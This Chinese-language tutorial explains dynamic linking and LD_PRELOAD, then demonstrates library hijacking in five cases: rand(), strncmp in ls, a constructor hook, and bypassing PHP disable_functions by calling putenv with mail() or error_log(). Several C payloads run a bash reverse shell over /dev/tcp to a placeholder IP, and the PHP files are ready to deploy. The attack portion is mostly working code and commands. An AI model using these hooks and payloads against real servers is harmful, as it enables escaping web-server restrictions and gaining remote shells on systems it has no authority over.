前提知识
环境变量
Linux 系统提供了多种方法来改变动态库连接器装载共享库路径的方法。通过使用此类方法,我们可以实现一些特殊的需求,如:动态库的调试、改变应用程序的行为方式等。
链接
编译器找到程序中所引用的函数或全局变量所存在的位置
- 静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。
- 装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。
- 运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。
- 对于动态链接来说,需要一个动态链接库,其作用在于当动态库中的函数发生变化对于可执行程序来说时透明的,可执行程序无需重新编译,方便程序的发布/维护/更新。但是由于程序是在运行时动态加载,这就存在一个问题,假如程序动态加载的函数是恶意的,就有可能导致一些非预期的执行结果或者绕过某些安全设置。
LD_PRELOAD
LD_PRELOAD允许你定义在程序运行前优先加载的动态链接库,那么我们便可以在自己定义的动态链接库中装入恶意函数.假设现在出现了一种这样的情况,一个文件中有一个恶意构造的函数和我们程序指令执行时调用的函数一模一样,而LD_PRELOAD路径指向这个文件后,这个文件的优先级高于原本函数的文件,那么优先调用我们的恶意文件后会覆盖原本的那个函数,最后当我们执行了一个指令后它会自动调用一次恶意的函数,这就会导致一些非预期的漏洞出现
1 .so后缀就是动态链接库的文件名 。
2 export LD_PRELOAD=*** 是修改LD_PRELOAD的指向 。
3 我们自定义替换的函数必须和原函数相同,包括类型和参数 。
4 还原LD_PRELOAD的最初指向命令为:unset LD_PRELOAD 。
5 unset LD_PRELOAD 还原函数调用关系
LD_LIBRARY_PATH
LD_LIBRARY_PATH
可以临时改变应用程序的共享库(如:动态库)查找路径,而不会影响到系统中的其他程序。
ELF文件
ELF文件是一种用于二进制文件、可执行文件、目标代码、共享库和core转存格式文件。是UNIX系统实验室(USL)作为应用程序二进制接口(Application Binary Interface,ABI)而开发和发布的,也是Linux的主要可执行文件格式。
/bin、/sbin、/usr/sbin、/usr/bin
从命令功能角度:
- /sbin 下的命令属于基本的系统命令,如shutdown,reboot,用于启动系统,修复系统
- /bin下存放一些普通的基本命令,如ls,chmod等,这些命令在Linux系统里的配置文件脚本里经常用到
从用户权限的角度:
- /sbin目录下的命令通常只有管理员才可以运行
- /bin下的命令管理员和一般的用户都可以使用
/usr/sbin存放的一些非必须的系统命令;/usr/bin存放一些用户命令
漏洞复现
案例一(随机数劫持)
- rand.c
1. #include<stdio.h> 2. #include<stdlib.h> 3. #include<time.h> 4. int main() 5. { 6. srand(time(NULL)); //随机生成种子,保证每次出现的随机数不相同 7. int i = 10; 8. while(i--) printf("%d\n",rand()); 9. return 0; 10. }
gcc rand.c -o rand
- unrand.c
1. int rand() 2. { 3. return 666; 4. }
1. gcc -shared -fPIC 自定义文件.c -o 生成的库文件.so 2. gcc -shared -fPIC unrand.c -o unrand.so 3. export LD_PRELOAD=$PWD/unrand.so
用ldd查看可执行文件加载的动态库优先顺序
案例二(ls的劫持)
命令查看ls会调用的函数是否有strncmp
readelf -Ws /usr/bin/ls|grep strncmp
而这些指令并非是我们看到的输入直接得到数据,它其实背后运行了许多的函数,若我们利用LD_PRELOAD劫持了这些函数中的其中一个,自定义一个恶意代码覆盖某个函数,当我们执行一次指令恶意代码就执行一次
利用报错查看strncmp原函数的内置参数
1. #include<stdio.h> 2. #include<stdlib.h> 3. #include<time.h> 4. int main() 5. { 6. int strncmp() 7. { 8. int a=1; 9. } 10. return 0; 11. }
写错参数获取正确的参数
gcc -shared -fPIC ls.c -o ls.so
- ls.c
1. #include <stdlib.h> 2. #include <stdio.h> 3. #include <string.h> 4. 5. void payload() { 6. printf("hello i am haker!!!\n"); 7. } 8. 9. int strncmp(const char *__s1, size_t __n) { 10. if (getenv("LD_PRELOAD") == NULL) { //这个函数在这里的作用是阻止该payload一直执行 11. return 0; 12. } 13. unsetenv("LD_PRELOAD"); 14. payload(); 15. } 16. 17. 18. #include <stdlib.h> 19. #include <stdio.h> 20. #include <string.h> 21. 22. void payload() { 23. printf("hello i am haker!!!\n"); 24. } 25. 26. int strncmp(const char *__s1, const char *__s2, size_t __n) { 27. if (getenv("LD_PRELOAD") == NULL) { //这个函数在这里的作用是阻止该payload一直执行 28. return 0; 29. } 30. unsetenv("LD_PRELOAD"); 31. payload(); 32. }
export LD_PRELOAD=$PWD/ls.so
unset LD_PRELOAD
└─$ ls
hello i am haker!!!
ls.c ls.so
把payload修改为bash命令弹shell
1. #include <stdlib.h> 2. #include <stdio.h> 3. #include <string.h> 4. 5. void payload() { 6. system("bash -c 'bash -i >& /dev/tcp/IP/端口 0>&1'"); 7. } 8. 9. int strncmp(const char *__s1, const char *__s2, size_t __n) { 10. if (getenv("LD_PRELOAD") == NULL) { 11. return 0; 12. } 13. unsetenv("LD_PRELOAD"); 14. payload(); 15. }
案例三(__attribute__&LD_PRELOAD劫持)
mail函数是一个发送邮件的函数,当使用到这玩意儿发送邮件时会使用到系统程序/usr/sbin/sendmail,我们如果能劫持到sendmail触发的函数,那么就可以达到我们之前讲的那个目的了。
GCC 有个 C 语言扩展修饰符 __attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,一旦某些指令需要加载动态链接库时,就会立即执行它
1. //last.c 2. #include <stdlib.h> 3. #include <stdio.h> 4. #include <string.h> 5. 6. __attribute__ ((__constructor__)) void preload (void){ 7. unsetenv("LD_PRELOAD"); 8. printf("i am hacker!!\n"); 9. }
1. gcc -shared -fPIC con.c -o con.so 2. export LD_PRELOAD=$PWD/con.so
案例四(利用 LD_PRELOAD 绕过 Disable_Functions)
基于这一思路,将突破 disable_functions 限制执行操作系统命令这一目标,大致分解成以下几个步骤:
- 查看进程调用的系统函数明细
- 找寻内部可以启动新进程的 PHP 函数
- 找到这个新进程所调用的系统库函数并重写
- PHP 环境下劫持系统函数注入代码
虽然 LD_PRELOAD 为我提供了劫持系统函数的能力,但前提是我得控制 PHP 启动外部程序才行,并且只要有进程启动行为即可,无所谓是谁。所以我们要寻找内部可以启动新进程的 PHP 函数。比如处理图片、请求网页、发送邮件等三类场景中可能存在我想要的函数,但是经过验证,发送邮件这一场景能够满足我们的需求,即 mail()。
readelf -Ws /usr/sbin/sendmail->getuid
- hook_getuid.c
1. #include <stdlib.h> 2. #include <stdio.h> 3. #include <string.h> 4. 5. void payload() { 6. system("bash -c 'bash -i >& /dev/tcp/ ip/端口 0>&1'"); 7. } 8. 9. uid_t getuid() { 10. if (getenv("LD_PRELOAD") == NULL) { 11. return 0; 12. } 13. unsetenv("LD_PRELOAD"); 14. payload(); 15. }
1. gcc -shared -fPIC hook_getuid.c -o hook_getuid.so 2. 3. mail.php 4. <?php 5. putenv("LD_PRELOAD=/var/tmp/hook_getuid.so"); // 注意这里的目录要有访问权限 6. mail("a@localhost","","","",""); 7. ?> 8. 9. // 运行 PHP 函数 putenv(), 设定环境变量 LD_PRELOAD 为 hook_getuid.so, 以便后续启动新进程时优先加载该共享对象。 10. // 运行 PHP 的 mail() 函数, mail() 内部启动新进程 /usr/sbin/sendmail, 由于上一步 LD_PRELOAD 的作用, sendmail 调用的系统函数 getuid() 被优先级更好的 hook_getuid.so 中的同名 getuid() 所劫持。
案例五(利用 error_log() 启动新进程来劫持系统函数)
error_log
与/usr/sbin/sendmail
:利用方式也是一样的,都可以劫持
getuid
函数。
- error_log.php
1. <?php 2. putenv("LD_PRELOAD=/var/tmp/hook_getuid.so"); // 注意这里的目录要有访问权限 3. error_log("", 1, "", ""); 4. ?>